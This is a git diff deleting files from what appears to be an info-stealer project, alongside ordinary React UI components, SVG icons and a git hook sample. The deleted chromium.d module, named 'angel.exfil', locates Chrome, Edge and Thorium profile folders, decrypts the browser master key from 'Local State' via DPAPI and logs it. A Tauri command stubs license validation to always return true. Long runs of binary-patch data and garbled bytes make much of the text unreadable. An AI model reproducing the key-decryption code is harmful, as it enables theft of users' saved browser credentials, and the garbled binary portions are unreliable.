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 i6|1;eG-y~rk~{4H0000 diff --git a/c53d42f9f25e1d548145586b31eaa53dffe55d b/c53d42f9f25e1d548145586b31eaa53dffe55d deleted file mode 100644 index 93ffa1a928fa8c33a63f73b4e4f07182cb37781851be102a8a1581fe05bce45e..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 177 zcmV;i08amS0d ->(({ className, ...props }, ref) => ( -

    -)) -Card.displayName = "Card" - -const CardHeader = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
    -)) -CardHeader.displayName = "CardHeader" - -const CardTitle = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

    -)) -CardTitle.displayName = "CardTitle" - -const CardDescription = React.forwardRef< - HTMLParagraphElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

    -)) -CardDescription.displayName = "CardDescription" - -const CardContent = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -

    -)) -CardContent.displayName = "CardContent" - -const CardFooter = React.forwardRef< - HTMLDivElement, - React.HTMLAttributes ->(({ className, ...props }, ref) => ( -
    -)) -CardFooter.displayName = "CardFooter" - -export { Card, CardHeader, CardFooter, CardTitle, CardDescription, CardContent } diff --git a/ccf670dd831f8f8f0d16fa6bbafed49de4af37 b/ccf670dd831f8f8f0d16fa6bbafed49de4af37 deleted file mode 100644 index f8259ec74feeafe42967cc79bf3cd97469e9e5e4555638cdc8afac04c7376f6a..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 21 ccmb—^‡> v%^gžgD<’Xk ƒ¶Î$¤]ôà©ToRsô´=Nr=Ùe5rž¡&TË>m¶ðüPŠ ú qáJh·ä°Z,”ñçõ²˜Sÿ 1Žç“$ÍÂs¾te+=‡øË­'ÌT;·L -G ¸_å%¿« A@™¯ç±ï(ì3»ÂïÐ"i"ä°!Åà ±bv‹‡šYÊPvÜï1¹_®¤¸ßÃØãª(†h}œ¯Lÿ Aã»»¿jÌÇ \ No newline at end of file diff --git a/checkbox.tsx b/checkbox.tsx deleted file mode 100644 index fbfa173..0000000 --- a/checkbox.tsx +++ /dev/null @@ -1,28 +0,0 @@ -import * as React from "react" -import * as CheckboxPrimitive from "@radix-ui/react-checkbox" -import { CheckIcon } from "@radix-ui/react-icons" - -import { cn } from "@/lib/utils" - -const Checkbox = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - - - - - -)) -Checkbox.displayName = CheckboxPrimitive.Root.displayName - -export { Checkbox } diff --git a/chromium.d b/chromium.d deleted file mode 100644 index e757df5..0000000 --- a/chromium.d +++ /dev/null @@ -1,77 +0,0 @@ -module angel.exfil.browser.chromium.chromium; - -// Internal imports -import angel.utils.constants; -import angel.utils.logging; -import angel.exfil.browser.chromium.dpapi; -// External imports -import std.stdio; -import std.string; -import std.file; -import std.base64; -import std.Path; -import std.format; -import std.json; - -class Chromium { - private { - string localst; - string[] profs = ["Default", "Profile 1", "Profile 2", "Profile 3", "Profile 4", "Profile 5"]; - string[] paths = ["Microsoft\\Edge", "Thorium", "Google\\Chrome"]; - } - - public void entry() { - Logger.log(LogLevel.Debug, "Entered chromium"); - - foreach (path; paths) { - string pat = buildPath(Constants.local_appdata, path, "User Data"); - - if (exists(pat)) { - Logger.log(LogLevel.Debug, format("Browser dir %s exists", pat)); - - this.localst = buildPath(pat, "Local State"); - - if (exists(localst)) { - Logger.log(LogLevel.Debug, format("Local State file %s exists for browser %s", localst, pat)); - - ubyte[] master_key = this.mkey(); - - if (master_key is null || master_key.length == 0) { - Logger.log( - LogLevel.Debug, - "Master key contains 0 bytes, possible uncaught/unknown error. Skipping..." - ); - Logger.log(LogLevel.Debug, format("%s", master_key)); - return; - } else { - Logger.log(LogLevel.Debug, format("Decrypted master key: %s", master_key)); - } - - foreach(prof; profs) { - string profpat = buildPath(pat, prof); - - if (exists(profpat)) { - Logger.log(LogLevel.Debug, format("Profile %s exists for browser %s", prof, pat)); - } - } - } - } - } - } - - private ubyte[] mkey() { - string bjson = readText(this.localst); - - JSONValue json = parseJSON(bjson); - - string encoded = json["os_crypt"]["encrypted_key"].str; - - ubyte[] bdecoded = Base64.decode(encoded.strip()); - - ubyte[] bkey_crypt = bdecoded[5 .. $]; - - ubyte[] dat = dpapi(bkey_crypt); - - return dat; - } -} \ No newline at end of file diff --git a/clean.d b/clean.d deleted file mode 100644 index fa9cc38..0000000 --- a/clean.d +++ /dev/null @@ -1,9 +0,0 @@ -module angel.utils.clean; - -// Internal imports -// External imports -import std.stdio; - -void clean() { - -} \ No newline at end of file diff --git a/close.svg b/close.svg deleted file mode 100644 index 663c8f8..0000000 --- a/close.svg +++ /dev/null @@ -1,152 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - - - - - diff --git a/close_hover.svg b/close_hover.svg deleted file mode 100644 index b26b734..0000000 --- a/close_hover.svg +++ /dev/null @@ -1,161 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - image/svg+xml - - - - - - - - - - - - - - - diff --git a/collapsible.tsx b/collapsible.tsx deleted file mode 100644 index 496b6ac..0000000 --- a/collapsible.tsx +++ /dev/null @@ -1,9 +0,0 @@ -import * as CollapsiblePrimitive from "@radix-ui/react-collapsible" - -const Collapsible = CollapsiblePrimitive.Root - -const CollapsibleTrigger = CollapsiblePrimitive.CollapsibleTrigger - -const CollapsibleContent = CollapsiblePrimitive.CollapsibleContent - -export { Collapsible, CollapsibleTrigger, CollapsibleContent } diff --git a/command.tsx b/command.tsx deleted file mode 100644 index 6a20caf..0000000 --- a/command.tsx +++ /dev/null @@ -1,153 +0,0 @@ -import * as React from "react" -import { type DialogProps } from "@radix-ui/react-dialog" -import { MagnifyingGlassIcon } from "@radix-ui/react-icons" -import { Command as CommandPrimitive } from "cmdk" - -import { cn } from "@/lib/utils" -import { Dialog, DialogContent } from "@/components/ui/dialog" - -const Command = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -Command.displayName = CommandPrimitive.displayName - -interface CommandDialogProps extends DialogProps {} - -const CommandDialog = ({ children, ...props }: CommandDialogProps) => { - return ( - - - - {children} - - - - ) -} - -const CommandInput = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( -
    - - -
    -)) - -CommandInput.displayName = CommandPrimitive.Input.displayName - -const CommandList = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) - -CommandList.displayName = CommandPrimitive.List.displayName - -const CommandEmpty = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->((props, ref) => ( - -)) - -CommandEmpty.displayName = CommandPrimitive.Empty.displayName - -const CommandGroup = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) - -CommandGroup.displayName = CommandPrimitive.Group.displayName - -const CommandSeparator = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) -CommandSeparator.displayName = CommandPrimitive.Separator.displayName - -const CommandItem = React.forwardRef< - React.ElementRef, - React.ComponentPropsWithoutRef ->(({ className, ...props }, ref) => ( - -)) - -CommandItem.displayName = CommandPrimitive.Item.displayName - -const CommandShortcut = ({ - className, - ...props -}: React.HTMLAttributes) => { - return ( - - ) -} -CommandShortcut.displayName = "CommandShortcut" - -export { - Command, - CommandDialog, - CommandInput, - CommandList, - CommandEmpty, - CommandGroup, - CommandItem, - CommandShortcut, - CommandSeparator, -} diff --git a/commands.rs b/commands.rs deleted file mode 100644 index a8eb0f5..0000000 --- a/commands.rs +++ /dev/null @@ -1,14 +0,0 @@ -#[tauri::command(rename_all = "snake_case")] -pub fn validate_license(_license: String) -> bool { - return true; -} - -#[tauri::command(rename_all = "snake_case")] -pub fn validate_username(_username: String) -> bool { - return true; -} - -#[tauri::command(rename_all = "snake_case")] -pub fn get_app_version() -> String { - env!("CARGO_PKG_VERSION").to_string() -} diff --git a/commit-msg.sample b/commit-msg.sample deleted file mode 100644 index 02d663c..0000000 --- a/commit-msg.sample +++ /dev/null @@ -1,24 +0,0 @@ -#!/bin/sh -# -# An example hook script to check the commit log message. -# Called by "git commit" with one argument, the name of the file -# that has the commit message. The hook should exit with non-zero -# status after issuing an appropriate message if it wants to stop the -# commit. The hook is allowed to edit the commit message file. -# -# To enable this hook, rename this file to "commit-msg". - -# Uncomment the below to add a Signed-off-by line to the message. -# Doing this in a 